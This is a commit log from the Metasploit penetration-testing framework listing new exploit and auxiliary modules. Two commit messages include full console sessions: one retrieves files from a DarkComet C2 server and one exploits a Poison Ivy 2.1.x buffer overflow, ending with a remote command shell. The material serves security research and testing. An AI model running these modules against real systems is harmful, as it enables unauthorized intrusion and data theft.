Commit Graph

38703 Commits (5bc513d6cdffef80865cfb7262a8e4c86f079a53)

Author SHA1 Message Date
wchen-r7 036ba8057a Add module doc for symantec_brightmail_ldapcreds 2016-06-07 19:39:55 -05:00
wchen-r7 f13d91f685 Fix a prob of printing an empty rhost from the scanner mixin 2016-06-07 19:19:39 -05:00
wchen-r7 e8304e684c
Bring #6793 up to date with upstream-master 2016-06-07 19:04:32 -05:00
wchen-r7 6ae4d1576e Apply fixes to symantec_brightmail_ldapcreds.rb 2016-06-07 19:01:58 -05:00
samvartaka 5260031991 Modifications based on suggestions by @wchen-r7 2016-06-08 01:17:15 +02:00
Adam Compton 75a34c4aca added a new aux module to quickly scan for Jenkins servers on the local broadcast network by sending out a udp packet to port 33848 on the broadcast address. Any Jenkins server should respond with XML data containing the Jenkins server version. 2016-06-07 16:57:06 -04:00
Metasploit 815685992a
Bump version of framework to 4.12.7 2016-06-07 13:14:34 -07:00
Brian Patterson 6d72b5b19f
Land #6946 Fix a bug with OptPort validation when not req 2016-06-07 14:43:10 -05:00
dmohanty-r7 9450906ca4
Correctly set Dummy param 2016-06-07 14:42:51 -05:00
dmohanty-r7 f47128ccdd
Cleanup canon_irav_pwd_extract module 2016-06-07 14:31:37 -05:00
David Maloney 53b989f283
fix normalisation so we don't coerce to 0
don't coerce nil to 0
2016-06-07 14:29:13 -05:00
David Maloney 16030cda30
simpler fix
talking with adam shows that there is a simpler solution
to this problem
2016-06-07 14:13:10 -05:00
David Maloney 9de27e0b9c
add more specific normalise method to otpport
add a normalise method that prevents emtpy string
from being converted to 0 for OptPort avoiding
a bad behaviour
2016-06-07 14:03:34 -05:00
David Maloney 27b5d961fd
fixes a bug with OptPort validation when not req
OptPort lost the check for whether the option was required causing it
to incorrectly return false in certain cases

MS-1633
2016-06-07 13:48:57 -05:00
Brendan Watters c4aa99fdac
Land #6925, ipfire proxy exec 2016-06-07 10:24:59 -05:00
Brendan Watters cfde0a0ade
Land #6924, IPFire shellshock exploit 2016-06-07 09:46:40 -05:00
Brendan Watters 7e84c808b2 Merge remote-tracking branch 'upstream/pr/6924' into dev 2016-06-07 09:24:25 -05:00
wchen-r7 b59d10d9c4
Land #6929, Add HP Data Protector Encrypted Comms exploit 2016-06-06 22:45:53 -05:00
wchen-r7 d8d6ab3ae8 Add hp_dataprotector_encrypted_comms.md 2016-06-06 22:45:17 -05:00
wchen-r7 60c60bf004 Minor cosmetic changes 2016-06-06 22:45:00 -05:00
Vex Woo e4c55f97db Fix module desc 2016-06-06 10:40:36 -05:00
Vex Woo 9f19d2c210 add apache struts2 S2-033 rce module 2016-06-06 05:07:48 -05:00
Louis Sato d3a13f4b0c Merge pull request #6942 from acammack-r7/bug/MS-1517/fix-acunetix-again
Fix Acunetix import with a blacklist
2016-06-05 23:00:48 -05:00
Adam Cammack 08f1e68487
Fix Acunetix import with a blacklist
If a host is blacklisted, we won't create the service for it. If we
don't create the service, we don't want to create entries for the web
pages.

MS-1517
2016-06-03 19:40:29 -05:00
h00die c2699ef194 rubocop fixes 2016-06-03 17:43:11 -04:00
h00die 2f837d5d60 fixed EDB spelling 2016-06-03 17:17:36 -04:00
h00die 8d76bdb8af fixed EDB reference 2016-06-03 17:13:36 -04:00
h00die c553353fab Merge pull request #3 from bwatters-r7/land-6924
Suggested updates for style and clarity
2016-06-03 17:04:44 -04:00
h00die 88b60db5fb Merge pull request #2 from bwatters-r7/land-6925-
Changes per rubocop and sinn3r
2016-06-03 17:04:04 -04:00
Brendan Watters d7cd10f586 Suggested updates for style and clarity 2016-06-03 14:04:58 -05:00
Brent Cook da532ecc5e
Land #6919, Move LURI into a full URI for a new 'Payload opts" column in jobs output 2016-06-03 13:57:47 -05:00
Brendan Watters 91658d2a61 Changes per rubocop and sinn3r 2016-06-03 12:42:38 -05:00
samvartaka 8ca571aee3 no message 2016-06-03 19:29:55 +02:00
samvartaka 0114d2cf0b This module exploits a publicly known vulnerability in the C2 server of DarkComet versions 3.2 and up
(https://www.nccgroup.trust/globalassets/our-research/us/whitepapers/PEST-CONTROL.pdf), possibly affecting
earlier versions as well. The vulnerability can be exploited without knowledge of the secret key
by abusing a flaw in the cryptographic protocol to carry out a limited version of the exploit allowing
for key recovery after which the exploit can be used to download arbitrary files from a DarkComet C2 server.

See http://samvartaka.github.io/exploitation/2016/06/03/dead-rats-exploiting-malware
for details.

## Console output

Below is an example of the exploit running against versions 5.3.1 and 4.2F
(DarkComet C2 server password is set to 'darkcometpass' and unknown to attacker).

### Version 5.3.1 (unknown password)

```
msf > use auxiliary/gather/darkcomet_filedownloader
msf auxiliary(darkcomet_filedownloader) > show options

Module options (auxiliary/gather/darkcomet_filedownloader):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   BRUTETIMEOUT  1                no        Timeout (in seconds) for bruteforce attempts
   KEY                            no        DarkComet RC4 key (include DC prefix with key eg. #KCMDDC51#-890password)
   LHOST         0.0.0.0          yes       This is our IP (as it appears to the DarkComet C2 server)
   NEWVERSION    true             no        Set to true if DarkComet version >= 5.1, set to false if version < 5.1
   RHOST         0.0.0.0          yes       The target address
   RPORT         1604             yes       The target port
   STORE_LOOT    true             no        Store file in loot (will simply output file to console if set to false).
   TARGETFILE                     no        Target file to download (assumes password is set)

msf auxiliary(darkcomet_filedownloader) > set RHOST 192.168.0.104
RHOST => 192.168.0.104
msf auxiliary(darkcomet_filedownloader) > set LHOST 192.168.0.102
LHOST => 192.168.0.102
msf auxiliary(darkcomet_filedownloader) > run

[*] 192.168.0.104:1604 - C2 server uses password [darkcometpass]
[*] 192.168.0.104:1604 - Storing data to loot...
[*] Auxiliary module execution completed
msf auxiliary(darkcomet_filedownloader) > set STORE_LOOT false
STORE_LOOT => false
msf auxiliary(darkcomet_filedownloader) > set KEY #KCMDDC51#-890darkcometpass
KEY => #KCMDDC51#-890darkcometpass
msf auxiliary(darkcomet_filedownloader) > set TARGETFILE C:\\secret.txt
TARGETFILE => C:\secret.txt
msf auxiliary(darkcomet_filedownloader) > run

[*] 192.168.0.104:1604 - omgsecret
[*] Auxiliary module execution completed
```

### Version 4.2F (unknown password)

```
msf > use auxiliary/gather/darkcomet_filedownloader
msf auxiliary(darkcomet_filedownloader) > show options

Module options (auxiliary/gather/darkcomet_filedownloader):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   BRUTETIMEOUT  1                no        Timeout (in seconds) for bruteforce attempts
   KEY                            no        DarkComet RC4 key (include DC prefix with key eg. #KCMDDC51#-890password)
   LHOST         0.0.0.0          yes       This is our IP (as it appears to the DarkComet C2 server)
   NEWVERSION    true             no        Set to true if DarkComet version >= 5.1, set to false if version < 5.1
   RHOST         0.0.0.0          yes       The target address
   RPORT         1604             yes       The target port
   STORE_LOOT    true             no        Store file in loot (will simply output file to console if set to false).
   TARGETFILE                     no        Target file to download (assumes password is set)

msf auxiliary(darkcomet_filedownloader) > set RHOST 192.168.0.104
RHOST => 192.168.0.104
msf auxiliary(darkcomet_filedownloader) > set LHOST 192.168.0.102
LHOST => 192.168.0.102
msf auxiliary(darkcomet_filedownloader) > set NEWVERSION false
NEWVERSION => false
msf auxiliary(darkcomet_filedownloader) > run

[*] 192.168.0.104:1604 - Missing 1 bytes of keystream ...
[*] 192.168.0.104:1604 - Initiating brute force ...
[*] 192.168.0.104:1604 - C2 server uses password [darkcometpass]
[*] 192.168.0.104:1604 - Storing data to loot...
[*] Auxiliary module execution completed
msf auxiliary(darkcomet_filedownloader) > set KEY #KCMDDC42F#-890darkcometpass
KEY => #KCMDDC42F#-890darkcometpass
msf auxiliary(darkcomet_filedownloader) > set STORE_LOOT false
STORE_LOOT => false
msf auxiliary(darkcomet_filedownloader) > set TARGETFILE C:\\secret.txt
TARGETFILE => C:\secret.txt
msf auxiliary(darkcomet_filedownloader) > run

[*] 192.168.0.104:1604 - omgsecret
[*] Auxiliary module execution completed
```
2016-06-03 19:24:56 +02:00
samvartaka 290e1eb0fa This module exploits a previously unknown stack buffer overflow vulnerability
in Poison Ivy versions 2.1.x (possibly present in older versions too) and doesn't
require knowledge of the secret key as it abuses a flaw in the cryptographic protocol.
Note that this is a different vulnerability from the one affecting versions 2.2.0 and up
(https://www.rapid7.com/db/modules/exploit/windows/misc/poisonivy_bof).

See http://samvartaka.github.io/exploitation/2016/06/03/dead-rats-exploiting-malware
for details.

## Console output

Below is an example of the exploit running against a 2.1.4 C2 server (PIVY C2 server password is
set to 'pivypass' and unknown to attacker).

### Version 2.1.4

```
msf > use windows/misc/poisonivy_21x_bof
msf exploit(poisonivy_21x_bof) > set RHOST 192.168.0.104
RHOST => 192.168.0.104
msf exploit(poisonivy_21x_bof) > check
[*] 192.168.0.104:3460 The target appears to be vulnerable.
msf exploit(poisonivy_21x_bof) > set PAYLOAD windows/shell_bind_tcp
PAYLOAD => windows/shell_bind_tcp
msf exploit(poisonivy_21x_bof) > exploit
[*] 192.168.0.104:3460 - Performing handshake...

[*] Started bind handler
[*] 192.168.0.104:3460 - Sending exploit...
[*] Command shell session 1 opened (192.168.0.102:56272 -> 192.168.0.104:4444) at 2016-06-03 12:34:02 -0400

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\winxp\Desktop\Poison Ivy\Poison Ivy 2.1.4\Poison Ivy 2.1.4>
```
2016-06-03 19:20:06 +02:00
Brent Cook 5420848c49
Land #6922, add popen() additional vector to ImageMagick exploit (imagemagick_delegate) 2016-06-03 08:06:07 -05:00
Brent Cook f034952852
Land #6918, Added additional SAP TCP/IP ports into the sap_port_info function. 2016-06-03 08:01:04 -05:00
Brent Cook 09e721c4eb
See #6885, merge tiny whitespace fix 2016-06-03 08:00:24 -05:00
Brent Cook d5c2a8e3c8 whitespace 2016-06-03 07:59:48 -05:00
Brent Cook d371fd0798
Land #6885, add aux control module for PhoenixContact PLCs 2016-06-03 07:50:39 -05:00
Brent Cook ba9a693435 condense a little more 2016-06-03 07:50:13 -05:00
Brent Cook 064d6b3f51 wording and formatting updates 2016-06-03 07:42:54 -05:00
wchen-r7 2423a336a4
Land #6937, Magento Unserialize() Remote Code Execution 2016-06-02 17:14:07 -05:00
wchen-r7 1dad9bf7fa Correct module doc path for magento_unserialize.md 2016-06-02 17:12:39 -05:00
wchen-r7 184802d7d1 Add documentation for magento_unserialize 2016-06-02 17:10:26 -05:00
wchen-r7 f333481fb8 Add vendor patch info 2016-06-02 16:41:06 -05:00
wchen-r7 7c9227f70b Cosmetic changes for magento_unserialize to pass msftidy & guidelines 2016-06-02 16:34:41 -05:00
dmohanty-r7 a15c79347b
Add canon printer credential harvest module
Praedasploit
2016-06-02 16:07:28 -05:00
William Vu 9128ba3e57 Add popen() vuln to ImageMagick exploit
So... we've actually been sitting on this vuln for a while now. Now that
the cat's out of the bag [1], I'm updating the module. :)

Thanks to @hdm for his sharp eye. ;x

[1] http://permalink.gmane.org/gmane.comp.security.oss.general/19669
2016-06-02 11:35:37 -05:00
William Vu 43c82f764d
Land #6938, typo fix for md5_lookup tool 2016-06-02 11:19:47 -05:00